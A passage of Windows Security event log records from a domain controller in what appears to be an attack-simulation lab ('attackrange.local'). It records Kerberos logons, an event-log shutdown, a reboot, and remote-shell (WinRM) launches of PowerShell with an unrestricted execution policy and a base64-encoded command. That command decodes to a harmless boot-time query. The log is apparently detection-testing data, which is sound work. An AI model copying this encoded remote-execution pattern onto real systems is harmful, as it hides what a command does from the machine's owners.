Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253598 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253597 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253596 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253595 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF469 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13ac - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253594 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF469 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1030 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253593 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BFA6E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253592 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BFA6E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253591 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253590 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253589 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253588 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF469 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1030 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253587 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF469 - -Process Information: - New Process ID: 0x1030 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253586 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF469 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253585 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF469 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253584 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253583 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {439E20AD-EA51-D523-33A7-A70BD5AD2743} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253582 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253581 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BF044 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:52 PM -LogName=Security -SourceName=Microsoft-Windows-Eventlog -EventCode=1100 -EventType=4 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Service shutdown -OpCode=Info -RecordNumber=253580 -Keywords=Audit Success -Message=The event logging service has shut down. -03/11/2021 11:51:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253604 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x24c - New Process Name: C:\Windows\System32\autochk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1c0 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253603 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1c0 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4 - Creator Process Name: - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4826 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other Policy Change Events -OpCode=Info -RecordNumber=253602 -Keywords=Audit Success -Message=Boot Configuration Data loaded. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -General Settings: - Load Options: - - Advanced Options: No - Configuration Access Policy: Default - System Event Logging: No - Kernel Debugging: No - VSM Launch Type: Off - -Signature Settings: - Test Signing: No - Flight Signing: No - Disable Integrity Checks: No - -HyperVisor Settings: - HyperVisor Load Options: - - HyperVisor Launch Type: Off - HyperVisor Debugging: No -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253614 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 0 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: - - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x4 - Process Name: - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: - - Authentication Package: - - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4608 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security State Change -OpCode=Info -RecordNumber=253613 -Keywords=Audit Success -Message=Windows is starting up. - -This event is logged when LSASS.EXE starts and the auditing subsystem is initialized. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253612 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x360 - New Process Name: C:\Windows\System32\lsass.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c8 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253611 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x350 - New Process Name: C:\Windows\System32\services.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c8 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum 